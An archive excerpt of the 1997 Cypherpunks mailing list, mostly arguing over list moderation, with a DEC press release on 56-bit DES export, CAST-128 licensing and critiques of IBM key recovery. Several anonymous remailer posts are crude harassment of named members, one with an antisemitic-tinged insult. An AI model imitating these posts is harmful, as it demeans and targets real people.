"I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From ichudov at algebra.com Tue Feb 4 11:41:08 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Tue, 4 Feb 1997 11:41:08 -0800 (PST) Subject: New X-Ray Imager Message-ID: <199702041941.LAA04346@toad.com> Lucky Green wrote: > At 10:38 AM 2/4/97 -0500, Adam Shostack wrote: > >| A poll last week by the Los Angeles Times found that a majority of > people -- > >| 58 percent -- said they would curtail some civil liberties if it would help > >| thwart terrorism. Thirteen percent said it would depend on what rights were > >| at stake. The poll didn't ask people to single out any rights. > > > > Its worth noting the 'if it would help thwart terrorism.' > > It is irrelevant if terrorism is indeed be thwarted. The public does not > require this to happen. All that matters is to generate the *perception* of > increased security, not to increase security itself. Let's remember though that perception of security applies not only to passengers, but also to potential terrorists. If they *think* that they would not be able to bring a bomb easily, they would be less inclined to do so. - Igor. From antimod at nym.alias.net Tue Feb 4 11:41:56 1997 From: antimod at nym.alias.net (Against Moderation) Date: Tue, 4 Feb 1997 11:41:56 -0800 (PST) Subject: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?! Message-ID: <199702041941.LAA04358@toad.com> John Gilmore writes: > Tim, the Cypherpunks have chosen to follow Sandy's lead for this > month. I'll admit I made it easy for them, but the results are > conclusive. There are 1311 addresses in the cypherpunks list today; > 42 in the unedited list; and 19 in the flames list. Forty people > cared enough to read every posting; the other thousand either wanted > to try the experiment -- or didn't care enough to send an email > message. Which, as we all know, is a very low threshold. I just have to point out that you are ignoring some important factors (though I do trust your intentions and believe it is unintentional). I initially tried subscribing to all the lists, but the headers of the edited and unedited lists were identical making it impossible to sort the mail. To make matters worse, some messages seem to have gone out only to the edited list, and not to the unedited (particularly at the beginning), so that, unable to come up with a decent filtering scheme easily, I finally gave up and just subscribed to cypherpunks. In general, unsubscribing and resubscribing to a mailing list is not completely trivial. In addition to the particulars of cypherpunks, there are also the issues of what if your E-mail address depends on the machine you send mail from and your unsubscribe request gets delayed for confirmation. What if the new list no longer works properly with your mail filter and you end up with 1,000 pieces of cypherpunks mail in your main mailbox, etc. These are not insurmountable obstacles, but they certainly provide a strong enough disincentive for people to switching their list subscriptions that I think the numbers you list above are meaningless. Perhaps a better comparison would be to look at how many people subscribe to the other two filtered cypherpunks lists. > Perhaps at that point I should have shut down the list, as Lucky is > now suggesting. Well, you don't appreciate the content of the list, and you seem to feel that many members of the list don't appreciate what you are doing. Why not shut the list down? I can think of one reason: cypherpunks seems to suck in a lot of crap, and might be keeping that crap away from the coderpunks list. Other than that, though, I think killing this list would probably be a good idea. From jeffb at issl.atl.hp.com Tue Feb 4 11:42:06 1997 From: jeffb at issl.atl.hp.com (Jeff Barber) Date: Tue, 4 Feb 1997 11:42:06 -0800 (PST) Subject: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?! Message-ID: <199702041942.LAA04370@toad.com> I'm another long time list member. I've posted before on a number of occasions but not often. And I was one of those who subscribed immediately to the unedited list. Anyway, herein my 2 cents. John Gilmore writes: > Tim May said: > > I don't want Sandy Sandfort sitting in judgment on my > > posts, deciding what the Cypherpunks--a group I co-founded for God's > > sake!!!!--are to be allowed to read and what they may not. > > Tim, the Cypherpunks have chosen to follow Sandy's lead for this > month. I'll admit I made it easy for them, but the results are > conclusive. There are 1311 addresses in the cypherpunks list today; > 42 in the unedited list; and 19 in the flames list. "Conclusively" this has shown only that most folks are willing to go along with an experiment -- especially if it requires them to do exactly nothing. The results of the moderation experiment itself can't possibly be conclusive until the moderation has gone on for much longer--a few months at least, possibly years. Then, we'll see how many people are willing to put up with the high volume over the long term, even possibly in the absence of thoughtful essays from long-time list members (like Tim) who have been driven away from the list. Even if it "survives" by that criteria, it may not survive in *my* book. There are only a handful of people whose posts make the cypherpunks list worthwhile (IMO of course). There're quite a few others who contribute to the discussion but aren't themselves worth the trouble (no offense intended to anyone; I would certainly count myself in this group as well). I don't deny that putting up with the noise on the list takes some effort. In fact, after years of surviving with only my 'd' key, I'd finally been driven to install a procmail filter shortly before moderation was announced. Interestingly, since that point, it *has* become more difficult to filter--but IMO that's because it's also gotten less interesting (how do you know if you're filtering is successful?). In fact, lately I've begun to "filter" *all* of cypherpunks into an alternate mailbox file, and find that I'm perfectly content to look at it only every couple of days, and just pick and choose among the posts based on author and subject. I don't claim to be representative of the average cypherpunk, but in my view, this is a bad sign--it indicates a lack of compelling "content". It might as well be a Usenet group--I don't feel like a "member of the Cypherpunks list" anymore. As the list stands now, I would hardly even notice (or care) if I were no longer subscribed. > I'm definitely bugged by the community's attitude toward my > "censorship". Rather than being glad that someone, anyone, was doing > something about the major problem on the list, 99% of the reaction was > to create even more ill-considered, emotional flamage. *I* didn't > make the signal/noise get worse at that point -- *you-all* did. Well, I did do something. When the volume got too high for me to take unassisted, I installed procmail to tailor the list to my own likings. Many have been advocating it on the list for years. I was just too lazy to do so until the pain of not having it finally got too high. As for the signal to noise ratio, John hasn't made it worse, but he hasn't made it much better either. No offense is intended--John's posts were always at the top of my reputation list--but he posts so infrequently that he falls into that "not worth subscribing for" group. What was the problem with the list that finally required that somebody "do something"? Sure, the list was high volume. And there were a lot of flames and silly useless garbage. But this is no different than it has been for years. And the Vulisgrams were no more (or less) vicious or annoying than Detweiler's Medusa and S.Boxx rants from the old days. (The reason I personally could stand it [without procmail] back then was that I wasn't on so many *other* mailing lists at the same time.) > The experiment will be over in a few weeks. Who's going to take over > deciding how to run the list, and running it? Can't we just forget any of this ever came up? Drop the moderation, resubscribe the Vulis 'bot and go on as before. > PS: Can we talk about crypto too? ... Sorry, that would be off-topic; this list is only for discussions of the cypherpunks moderation policy. Maybe you could post something on Perry's "cryptography" list though. (:-) -- Jeff From shamrock at netcom.com Tue Feb 4 11:42:47 1997 From: shamrock at netcom.com (Lucky Green) Date: Tue, 4 Feb 1997 11:42:47 -0800 (PST) Subject: Dissolving Choke Points Message-ID: <199702041942.LAA04374@toad.com> At 11:36 PM 2/3/97 -0800, Peter Hendrickson wrote: >What I have seen is a pretty complete elimination of the signal that >was there. Some might argue that this is "just" because Tim stopped >posting. But so what? The result of moderation was the elimination >of signal. Nonsense. The signal had left long before the moderation began. The steepest drop in signal (not S/N ratio) was between shortly before Perry left and Vulis had completed his takeover. Signal is cause by signal generators. Most top signal generators, other than Tim, had left because of pollution caused by the likes of Vulis, aga, and his homophonic boyfriends. Moderation has nothing to do with the loss of signal other than that signal from Tim was lost. And while I appreciated Tim's essays, they were never the sole source of signal on the list. Tim did not even provide the majority of signal. "Best individual contributor", sure. -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From mixmaster at remail.obscura.com Tue Feb 4 13:30:34 1997 From: mixmaster at remail.obscura.com (Mixmaster) Date: Tue, 4 Feb 1997 13:30:34 -0800 (PST) Subject: e$ Message-ID: <199702042016.MAA09791@sirius.infonex.com> Timothy May is so full of shit that some of it bursts out on this mailing list. o /\O/ O Timothy May 0 \\ | 0-# // | / \ From nobody at zifi.genetics.utah.edu Tue Feb 4 13:33:54 1997 From: nobody at zifi.genetics.utah.edu (Anonymous) Date: Tue, 4 Feb 1997 13:33:54 -0800 (PST) Subject: [UPDATE] Making OCR'ed code transfer easier Message-ID: <199702042133.OAA28030@zifi.genetics.utah.edu> Deceased Vilus has such a small penis because the mohel who circumcised him was trying to do the world a favor. _ /| `o_O' Deceased Vilus ( ) U From vince at offshore.com.ai Tue Feb 4 13:41:32 1997 From: vince at offshore.com.ai (Vincent Cate) Date: Tue, 4 Feb 1997 13:41:32 -0800 (PST) Subject: Press/Digital Wins US Dept of Comm. Approval to Export Encryption Prod. (fwd) Message-ID: ---------- Forwarded message ---------- Date: Tue, 4 Feb 1997 08:37:24 -0500 From: DIGITAL PRESS RELEASE To: pr-news at majordomo.das-x.dec.com Subject: Press/Digital Wins US Dept of Comm. Approval to Export Encryption Prod. |||||| Digital Press and Analysts News |||||||||||||||||||||||||||||||||| Digital Equipment Corporation Maynard, Massachusetts 01754-2571 Editorial contact: Patrick Ward (508) 493-9441 patrick.ward at mail.dec.com Digital Equipment Corporation Wins US Department of Commerce Approval to Export Stronger Encryption Products 56-bit Data Scrambling Technology Safeguards Internet Commerce Worldwide MAYNARD, Mass., February 3, 1997 -- Digital Equipment Corporation today announced that it has won United States Department of Commerce approval to export 56-bit encryption products worldwide, the strongest yet for protecting Internet commerce worldwide. Last week a University of California at Berkeley graduate student used a set of workstations to crack a 40-bit encryption code in 3.5 hours. "The same workstations would require more than 20 years to break a 56-bit Data Encryption Standard (DES Code), according to Samuel H. Fuller, DIGITAL's vice president and chief scientist. "The Commerce Department's action enables DIGITAL to provide its international customers with complete systems for electronic commerce over the Internet, including the necessary security software," according to DIGITAL's Chairman, Robert B. Palmer. "This makes the Internet more attractive for our customers worldwide, and represents an exciting market opportunity for DIGITAL." "We are very pleased with the leadership shown by DIGITAL's top management, including Robert Palmer, in making a long-term commitment to develop, produce and market key recovery products and to take advantage of the Administration's new policy on encryption exports," said Sue E. Eckert, assistant secretary for Export Administration. DIGITAL will immediately export 56-bit encryption for its OpenVMS operating systems and for its RoadAbout/DES Product for wireless LAN computing. Shipments of the 56-bit export version of AltaVista Tunnel will follow this year. "AltaVista Tunnel software can simply and cost-effectively create 'Virtual Private Networks,' allowing customers who are traveling or at remote sites to securely access their company's private network over the public Internet," said Ilene H. Lang, president and chief executive officer of AltaVista Internet Software, and a vice president at DIGITAL. "Now the Virtual Private Networks we offer to customers in the United States can become Global Private Networks as the market expands worldwide." The Commerce Department announced on December 30 that American companies could export "strong" or Data Encryption Standard (DES) encryption products, such as DIGITAL's industry-leading AltaVista Tunnel, if the companies could demonstrate progress in developing key-recovery products over the next two years. Previously the US government had restricted export of strong encryption for security reasons. Digital Equipment Corporation is a world leader in open client/ server solutions from personal computers to integrated worldwide information systems. DIGITAL's scalable Alpha and Intel platforms, storage, networking, software and services, together with industry- focused solutions from business partners, help organizations compete and win in today's global marketplace. #### Note to Editors: DIGITAL, the DIGITAL logo and OpenVMS are trademarks of Digital Equipment Corporation. CORP/97/537 ============================================================================ Digital Press and Analysts News is sent as a courtesy to members of the press, analyst and consulting community. For subscription information please contact pr-news at pa.dec.com. All Digital press releases, fact sheets and backgrounders are archived on ftp.digital.com in the /pub/Digital/info/pr-news directory. They are also available at http://www.digital.com/info/pr-news/ on the World Wide Web . ============================================================================ From mixmaster at remail.obscura.com Tue Feb 4 13:59:00 1997 From: mixmaster at remail.obscura.com (Mixmaster) Date: Tue, 4 Feb 1997 13:59:00 -0800 (PST) Subject: e$ Message-ID: <199702042159.NAA06270@toad.com> Timothy May is so full of shit that some of it bursts out on this mailing list. o /\O/ O Timothy May 0 \\ | 0-# // | / \ From nobody at squirrel.owl.de Tue Feb 4 13:59:00 1997 From: nobody at squirrel.owl.de (Secret Squirrel) Date: Tue, 4 Feb 1997 13:59:00 -0800 (PST) Subject: Are cypher punks capable? Message-ID: <19970204205702.11975.qmail@squirrel.owl.de> Against Moderation wrote: > In general, unsubscribing and resubscribing to a mailing list is not > completely trivial. Do you think that a cypher punk is not able to solve these problems? From nobody at zifi.genetics.utah.edu Tue Feb 4 13:59:18 1997 From: nobody at zifi.genetics.utah.edu (Anonymous) Date: Tue, 4 Feb 1997 13:59:18 -0800 (PST) Subject: [UPDATE] Making OCR'ed code transfer easier Message-ID: <199702042159.NAA06301@toad.com> Deceased Vilus has such a small penis because the mohel who circumcised him was trying to do the world a favor. _ /| `o_O' Deceased Vilus ( ) U From svmcguir at syr.edu Tue Feb 4 13:59:19 1997 From: svmcguir at syr.edu (Scott V. McGuire) Date: Tue, 4 Feb 1997 13:59:19 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702042159.NAA06302@toad.com> -----BEGIN PGP SIGNED MESSAGE----- On Tue, 4 Feb 1997, Dale Thorn wrote: > Scott V. McGuire wrote: > > > (Even within the community, some people are more a part of > > it than others, and nobody is more a part of it then Tim.) > > Is this like saying "some of the pigs were more equal than the others"? > No, in this case there is not even a pretense of equality. - -------------------- Scott V. McGuire PGP key available at http://web.syr.edu/~svmcguir Key fingerprint = 86 B1 10 3F 4E 48 75 0E 96 9B 1E 52 8B B1 26 05 -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQCVAwUBMveNb97xoXfnt4lpAQEqMQP/QfEoEMy+deAwSB1l5J4i9pNolcSJ47Bw SuhfHyMwCWzzmeB0G+Ce5WVUPw0CH/gJcA8+WYRXdumF3ddhmxxKi7uWkfFYBvTH 4ZuiuvelFPgGuC0yOMcXQ3Hn18li+hKvdJuEpcRRJBD5aYYvQA9SNfs8c+ezgPOc 8hs2/3LbASM= =7FcR -----END PGP SIGNATURE----- From pgut001 at cs.auckland.ac.nz Tue Feb 4 13:59:22 1997 From: pgut001 at cs.auckland.ac.nz (Peter Gutmann) Date: Tue, 4 Feb 1997 13:59:22 -0800 (PST) Subject: CAST Message-ID: <199702042159.NAA06314@toad.com> I've just had mail from Carlisle Adams in response to my question about the status of CAST-128: >CAST-128 is available free for commercial and non-commercial use. This >has been stated publicly in a press release from Entrust Technologies >(see http://www.entrust.com/press.htm for details). The cipher >itself is described in complete detail, along with test vectors, etc., >at the same web site (see the "Technical Papers" section of >http://www.entrust.com/library.htm). > >Feel free to post this response wherever you think it appropriate. > >-------------------------------------- >Carlisle Adams >Entrust Technologies >cadams at entrust.com >--------------------------------------- The algorithm is well worth looking at (see the URL above) - it's a nice royalty-free drop-in replacement for IDEA for example. I've had a version half-finished for inclusion in cryptlib for a few months now, but something else always seems to crop up... Peter. From dave.hodgins at westonia.com Tue Feb 4 13:59:24 1997 From: dave.hodgins at westonia.com (DAVE HODGINS) Date: Tue, 4 Feb 1997 13:59:24 -0800 (PST) Subject: MY DEPARTURE, MODERA Message-ID: <199702042159.NAA06315@toad.com> -----BEGIN PGP SIGNED MESSAGE----- AB> My main complaints about the `filtering' service forced upon the list AB> readership are that: AB> 1. It was done to the main list! If cypherpunks were left unchanged, AB> and a `cypherpunks-edited' were created I wouldn't have a problem, it AB> would be just another filtered list. However there are already As a lurker (I've only sent 4 messages to the list in the last 3 years), I agree completely with Adam Back's post. I'd also like to point out, that I rarely read all of the messages, and tend to select which messages to read, based on the subject. Because of this, I missed the message announcing that the moderation had started, and that there was a new, unedited list. I didn't realize the moderation had started, until I noticed the lack of autobot insults, and then looked at some of the messages from the moderation thread. I get the list via email, through a pcboard bbs, mixed in with all of my personal email. I wrote a program, to separate everything from the list into separate folder. Switching over to the unedited list, will require a bit more for me, then just unsubscribe/subscribe. I'll wait and see if the moderation continues on the main list. If it does, I'll go through the bother of switching to the unedited list. Regards, Dave Hodgins. -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: cp850 iQEVAwUBMveOxYs+asmeZwNpAQEDxwf+O0NjHdHdD3zdu6JHtF+ESmQHkmknmZos INN9YQQPmFEsn5Dd3CEsr9YAcqgJUUVGoStcJqM9RQ2SeN0ASa/aRoXICGWMxjuO crV18nSNL6ZJ92/V/Q4/LDe7O8zMIS3w86WRTH5JEhnrN+EabH5QnlpF9CNPRwAD TsS9I/IiXKNtVUxMUvTDB93DHEDGkkFcqiNUfGPvDq8cHeSDVqrZ1EQNOOhDkglY rk2/+E7IleUIv+b7PgoDk5Z8T5n3eNJBqAnOC9qWJsJPE7eZHXX9xZO7sod9c8IK p/SthYca2tI2/7yt3wW4oQP/FT5mIXmWECy84l9+Mlb78P1eq7ZyCQ== =Mv14 -----END PGP SIGNATURE----- --- ~ RM 1.31 0820 ~ Internet:Dave.Hodgins at Westonia.com Rime->1347 Fido 1:250/636 From EALLENSMITH at ocelot.Rutgers.EDU Tue Feb 4 13:59:41 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Tue, 4 Feb 1997 13:59:41 -0800 (PST) Subject: Dissolving Choke Points Message-ID: <01IF0X8F06V49AN1CU@mbcl.rutgers.edu> From: IN%"gbroiles at netbox.com" "Greg Broiles" 4-FEB-1997 14:55:18.91 >But my impression is that many moderation opponents would also be opponents >of a move to Usenet. Perhaps I'm wrong. But Usenet offers precisely what many >people claim we must have for the list to be viable, e.g., >uncontrolled/uncontrollable distribution and messaging. So I'm curious about >whether or not the proponents of an open, uncontrolled list really want it to >be *that* open and uncontrolled. In the past, there's been strong opposition >to that. But it's possible that most of the people who had strong feelings >about not wanting to be subjected to the downside of Usenet have already left >the list. >(And if the current opponents of moderation don't want to see the list be >quite that open, I think what we're arguing about here is not "censorship v. >no censorship" but "what degree of censorship do we want? one lump, or two?", >which pretty much eliminates anyone's claim to have a moral high ground from >which to argue.) Umm... there's a difference. Moderation is control by a _person_; not moving to Usenet is control by nobody except how things happen to be set up. >The good side I see to a move to Usenet is that it lets people use the >comparatively better tools for managing messages - e.g., NoCeM, threading, nn >(whose killfiles will kill by thread, author, regexp, and can be time limited >so you can easily give annoying people a 30-day 'timeout' and see if they're >still a kook later on), AltaVista and DejaNews archiving/searching, and >server architecture that's designed to cope with storing/indexing many >messages. Hmm... since both you and Bill Stewart are pointing out various advantageous things about Usenet, I may need to retract my previous statement that mail fitering is better. On the other hand, other people have mentioned the susceptibility of email to write-your-own filtering and other processing. (For instance, I've got a project that needs cypherpunks (and other controversial groups) to be on mailing lists instead of (or at least as well as) news servers to work right.) Is there a full-scale equivalent of procmail for Usenet, including functions like shunting messages to programs et al? >The down side is that Usenet is more or less a sewer these days, and some of >it's bound to spill over. Quite. -Allen From mclow at owl.csusm.edu Tue Feb 4 13:59:51 1997 From: mclow at owl.csusm.edu (Marshall Clow) Date: Tue, 4 Feb 1997 13:59:51 -0800 (PST) Subject: IBM's SecureWay Key Recovery technology Message-ID: <199702042159.NAA06345@toad.com> >From : >At the RSA Conference, IBM announced the details of its highly >anticipated SecureWay key recovery technology. IBM is developing this >technology in response to market demands for exportable strong >encryption required to advance the growth of global e-business. >[ yada yada yada snipped ] I attended this presentation. Basically, what they do is to add two packets to the "channel setup process", one that depends only on the coorespondents, the other that contains the information about this particular session. A problem with this, as I pointed out to the presenters, is that the first packet can be trivially used for traffic analysis. The eavesdropper may not be able to determine who is cooresponding, but they can tell if it is the same people as in a previous conversation. >From >In order to minimize the preparation overhead, the recovery information >is prepared in two phases: one phase is independent of the particular >session/archive key being prepared; the second phase is dependent on the >particular key and session parameters. The first phase, which uses >public-key encryption, can be shared across multiple invocations of key >recovery preparation, thus reducing overhead. The public-key encryptions >can be stored for repeated use. > As you can see, IBM suggests cacheing the contents of the first packet, so that you don't have to recalculate it each time. Imagine how easy traffic analysis would be if the identification packets were identical instead of just related. -- Marshall Marshall Clow Aladdin Systems Warning: Objects in calendar are closer than they appear. From EALLENSMITH at ocelot.Rutgers.EDU Tue Feb 4 14:01:34 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Tue, 4 Feb 1997 14:01:34 -0800 (PST) Subject: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?! Message-ID: <199702042201.OAA06395@toad.com> From: IN%"gnu at toad.com" "John Gilmore" 4-FEB-1997 12:20:22.10 >Tim, the Cypherpunks have chosen to follow Sandy's lead for this >month. I'll admit I made it easy for them, but the results are >conclusive. There are 1311 addresses in the cypherpunks list today; >42 in the unedited list; and 19 in the flames list. Forty people >cared enough to read every posting; the other thousand either wanted >to try the experiment -- or didn't care enough to send an email >message. Which, as we all know, is a very low threshold. You're making an invalid assumption... namely that people who stayed on the moderated list are neccessarily wanting it to be the main list. This isn't the case with me, for instance. I'd also point out that some of us - including me - were taking the time to take a look at what happened with the moderated list. On the one hand, it did result in a decrease in the trash messages... on the other hand, it also drove away 1+ good posters (TCMay for one). As I've said before, I might wind up going with Sandy's (or some other) filtered list. But changing the name (effectively, to cypherpunks-unedited) was a bad idea. >I'm definitely bugged by the community's attitude toward my >"censorship". Rather than being glad that someone, anyone, was doing >something about the major problem on the list, 99% of the reaction was >to create even more ill-considered, emotional flamage. *I* didn't >make the signal/noise get worse at that point -- *you-all* did. I can see how you might ignore objections from those who did make the signal/noise get worse... but from those who didn't? _I_ tried to help you by letting you & Sandy know when something was going wrong. >Perhaps at that point I should have shut down the list, as Lucky is >now suggesting. "Asking the list what to do" was clearly not a useful >option. Sandy cared enough about the community to make some concrete >suggestions to me about how to get the list back on track. They >involved a lot more work than the previous setup. I told him if he >was willing to do the work, we could try it. As Dale suggests, I >wasn't about to waste my time reading the whole list in real time and >passing judgement on the postings. Sandy was, for a month. I (and others, I believe) are gratified by y'all's attempts to help. I just think that you went about it the wrong way. >Start a mailing list on another site! Move this list to somewhere! [...] >The experiment will be over in a few weeks. Who's going to take over >deciding how to run the list, and running it? Would you be willing to help in starting up a distributed list? That would appear to solve at least some of the toad.com problems (keeping it running 24 hours a day, 7 days a week) with which I am sympathetic. >If you want to help organize what I'll call the `progressive crypto >community', for lack of a better term, then please do. Otherwise, in >the immortal words of Lazarus Long, "PIPE DOWN!". I'm willing to help the _libertarian_ crypto community, to the limit allowed by my available resources (I'm a grad student). Organize? I'm not so sure to what degree that's helping. Progressive? I'm not a liberal. Slight but meaningful difference in terms. >PS: Can we talk about crypto too? It's clear from the last few days >of press releases that the pro-GAK forces are again working to confuse >novices into thinking that two very different things are the same >thing. Last time it was "public key infrastructure" and "key >recovery". This time it's "strong crypto" and "56-bit DES". What >should we do about this? Educate the public? The public won't listen until 56-bit DES is broken; then, they can be told that "somebody broke the cryptography used by banks" and they might listen. In other words, what can be done is supporting DES-breaking efforts (ideally, via the collection of different possible keys and their indicators, as someone had mentioned earlier - sorry, I'm a biologist, not a mathematician, so I've forgotten the actual terms. It was something that would essentially enable the near-instant breaking of _any_ DES code after the competion of the project. My apologies if I've gotten mixed up on this). -Allen From vince at offshore.com.ai Tue Feb 4 14:05:56 1997 From: vince at offshore.com.ai (Vincent Cate) Date: Tue, 4 Feb 1997 14:05:56 -0800 (PST) Subject: Press/Digital Wins US Dept of Comm. Approval to Export Encryption Prod. (fwd) Message-ID: <199702042205.OAA06481@toad.com> ---------- Forwarded message ---------- Date: Tue, 4 Feb 1997 08:37:24 -0500 From: DIGITAL PRESS RELEASE To: pr-news at majordomo.das-x.dec.com Subject: Press/Digital Wins US Dept of Comm. Approval to Export Encryption Prod. |||||| Digital Press and Analysts News |||||||||||||||||||||||||||||||||| Digital Equipment Corporation Maynard, Massachusetts 01754-2571 Editorial contact: Patrick Ward (508) 493-9441 patrick.ward at mail.dec.com Digital Equipment Corporation Wins US Department of Commerce Approval to Export Stronger Encryption Products 56-bit Data Scrambling Technology Safeguards Internet Commerce Worldwide MAYNARD, Mass., February 3, 1997 -- Digital Equipment Corporation today announced that it has won United States Department of Commerce approval to export 56-bit encryption products worldwide, the strongest yet for protecting Internet commerce worldwide. Last week a University of California at Berkeley graduate student used a set of workstations to crack a 40-bit encryption code in 3.5 hours. "The same workstations would require more than 20 years to break a 56-bit Data Encryption Standard (DES Code), according to Samuel H. Fuller, DIGITAL's vice president and chief scientist. "The Commerce Department's action enables DIGITAL to provide its international customers with complete systems for electronic commerce over the Internet, including the necessary security software," according to DIGITAL's Chairman, Robert B. Palmer. "This makes the Internet more attractive for our customers worldwide, and represents an exciting market opportunity for DIGITAL." "We are very pleased with the leadership shown by DIGITAL's top management, including Robert Palmer, in making a long-term commitment to develop, produce and market key recovery products and to take advantage of the Administration's new policy on encryption exports," said Sue E. Eckert, assistant secretary for Export Administration. DIGITAL will immediately export 56-bit encryption for its OpenVMS operating systems and for its RoadAbout/DES Product for wireless LAN computing. Shipments of the 56-bit export version of AltaVista Tunnel will follow this year. "AltaVista Tunnel software can simply and cost-effectively create 'Virtual Private Networks,' allowing customers who are traveling or at remote sites to securely access their company's private network over the public Internet," said Ilene H. Lang, president and chief executive officer of AltaVista Internet Software, and a vice president at DIGITAL. "Now the Virtual Private Networks we offer to customers in the United States can become Global Private Networks as the market expands worldwide." The Commerce Department announced on December 30 that American companies could export "strong" or Data Encryption Standard (DES) encryption products, such as DIGITAL's industry-leading AltaVista Tunnel, if the companies could demonstrate progress in developing key-recovery products over the next two years. Previously the US government had restricted export of strong encryption for security reasons. Digital Equipment Corporation is a world leader in open client/ server solutions from personal computers to integrated worldwide information systems. DIGITAL's scalable Alpha and Intel platforms, storage, networking, software and services, together with industry- focused solutions from business partners, help organizations compete and win in today's global marketplace. #### Note to Editors: DIGITAL, the DIGITAL logo and OpenVMS are trademarks of Digital Equipment Corporation. CORP/97/537 ============================================================================ Digital Press and Analysts News is sent as a courtesy to members of the press, analyst and consulting community. For subscription information please contact pr-news at pa.dec.com. All Digital press releases, fact sheets and backgrounders are archived on ftp.digital.com in the /pub/Digital/info/pr-news directory. They are also available at http://www.digital.com/info/pr-news/ on the World Wide Web . ============================================================================ From dave at kachina.jetcafe.org Tue Feb 4 14:10:28 1997 From: dave at kachina.jetcafe.org (Dave Hayes) Date: Tue, 4 Feb 1997 14:10:28 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702042210.OAA22704@kachina.jetcafe.org> Steve Boursey writes: > Well EFF itself is a lie--the were very well exposed by Wired Mag. a > while back as being nothing more than a corporate whore. They represent > the interests of owners not consumers--the ACLU has been very open > in their critisism of the EFF in this regard. A large corporation > waves some money in front of their noses and tells them to bend > over you can be sure they'll bend over. It's not clear from where I sit that the EFF is intrinsically evil. A case can be argued for their initial good intentions followed by the subsequent poisoning of this intent by people with lots of money. Of course, -any- organization is as susceptable to infiltration as their weakest member. > Respectable free speech advocates do not associate with EFF. If one is going to advocate free speech, I strongly suggest one learns to deal with one's own greed and one's own need for power first. ------ Dave Hayes - Altadena CA, USA - dave at jetcafe.org Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet You possess only what will not be lost in a shipwreck. From ichudov at algebra.com Tue Feb 4 14:19:35 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Tue, 4 Feb 1997 14:19:35 -0800 (PST) Subject: Dissolving Choke Points In-Reply-To: <01IF0X8F06V49AN1CU@mbcl.rutgers.edu> Message-ID: <199702042214.QAA10072@manifold.algebra.com> E. Allen Smith wrote: > > Hmm... since both you and Bill Stewart are pointing out various > advantageous things about Usenet, I may need to retract my previous statement > that mail fitering is better. You were right initially, I agree that mail filtering has better tools than news filtering (if you use Unix). Procmail can do absolutely any filtering, unlike most news readers. - Igor. From die at pig.die.com Tue Feb 4 14:32:20 1997 From: die at pig.die.com (Dave Emery) Date: Tue, 4 Feb 1997 14:32:20 -0800 (PST) Subject: BA Crypto Machine Photos (fwd) Message-ID: <9702042232.AA00365@pig.die.com> Forwarded message: >From boatanchors at theporch.com Tue Feb 4 12:01:17 1997 Date: Tue, 4 Feb 1997 10:53:20 -0600 (CST) Message-Id: Errors-To: listown at jackatak.theporch.com Reply-To: jproc at bellglobal.com Originator: boatanchors at theporch.com Sender: boatanchors at theporch.com Precedence: bulk From: jproc at bellglobal.com To: Multiple recipients of list Subject: BA Crypto Machine Photos X-Listprocessor-Version: 6.0c -- ListProcessor by Anastasios Kotsikonas X-Comment: Amateur Radio Equipment Using Vacuum Tubes Content-Type: TEXT/PLAIN; charset=US-ASCII Mime-Version: 1.0 X-Mailer: Chameleon - TCP/IP for Windows by NetManage, Inc. Dear BA'ers, Recently, I acquired some BA crypto machine photos courtesy of the Canadian Security Establishment. If anyone wants full size, selected, JPEG copies of these photos, please let me know and I can send them as attached files to E-mail. As a reminder, there are two stories beginning with the same file name in the BA archives which accompany the photos. KL7.JPG Colour 108 kbytes KWR37.JPG B & W 51 kbytes BTW, does anyone know the meaning of 'order wire mode' in the context of a crypto broadcast? This mode is found in the KWR-37 online crypto receiver. Please send all photo requests or responses via private E-mail. Regards, ------------------------------------- Jerry Proc VE3FAB E-mail: jproc at bellglobal.com HMCS Haida Naval Museum Toronto, Ontario 'Looking for a 'AN/SRC-501' ------------------------------------- From whgiii at amaranth.com Tue Feb 4 14:47:00 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Tue, 4 Feb 1997 14:47:00 -0800 (PST) Subject: New X-Ray Imager In-Reply-To: <199702041941.LAA04346@toad.com> Message-ID: <199702041649.QAA13848@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In <199702041941.LAA04346 at toad.com>, on 02/04/97 at 01:19 PM, ichudov at algebra.com said: >Lucky Green wrote: >> At 10:38 AM 2/4/97 -0500, Adam Shostack wrote: >> >| A poll last week by the Los Angeles Times found that a majority of >> people -- >> >| 58 percent -- said they would curtail some civil liberties if it would help >> >| thwart terrorism. Thirteen percent said it would depend on what rights were >> >| at stake. The poll didn't ask people to single out any rights. >> > >> > Its worth noting the 'if it would help thwart terrorism.' >> >> It is irrelevant if terrorism is indeed be thwarted. The public does not >> require this to happen. All that matters is to generate the *perception* of >> increased security, not to increase security itself. >Let's remember though that perception of security applies not only to >passengers, but also to potential terrorists. If they *think* that they >would not be able to bring a bomb easily, they would be less inclined to >do so. Not really, The thin vail of "security" that the goverment provides may be good enough to give warm-fuzzies to the avarage sheep, ...er citizen, but the potential terrorists will see it for what it is. - -- - ----------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. Finger whgiii at amaranth.com for PGP Key and other info - ----------------------------------------------------------- Tag-O-Matic: OS/2...Opens up Windows, shuts up Gates. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Registered User E-Secure v1.1 0000000 iQCVAwUBMve/So9Co1n+aLhhAQFZqQQAkIt/8pUqBWagohj2GkbpnFBKOqAkziqk 